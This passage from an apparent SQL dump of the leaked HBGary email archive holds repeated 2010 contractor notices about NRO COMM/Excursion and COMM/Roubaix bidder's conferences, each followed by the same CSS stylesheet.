text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2109,'aaron_hbgary_com/2109.html'),(10941,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008400.M398037P14101Q5796.eml','federal@hbgary.com','COMM / Excursion Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NRO/COMM-Excursion effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2204,'aaron_hbgary_com/2204.html'),(10942,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008400.M644913P14101Q5797.eml','federal@hbgary.com','COMM / Roubaix Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Roubaix effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1485,'aaron_hbgary_com/1485.html'),(10943,'2010-08-26','arc@westfields.net','/aaron@hbgary.com/new/1297008400.M866919P14101Q5798.eml','federal@hbgary.com','COMM / Roubaix Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NRO/COMM-Roubaix effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Roubaix from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 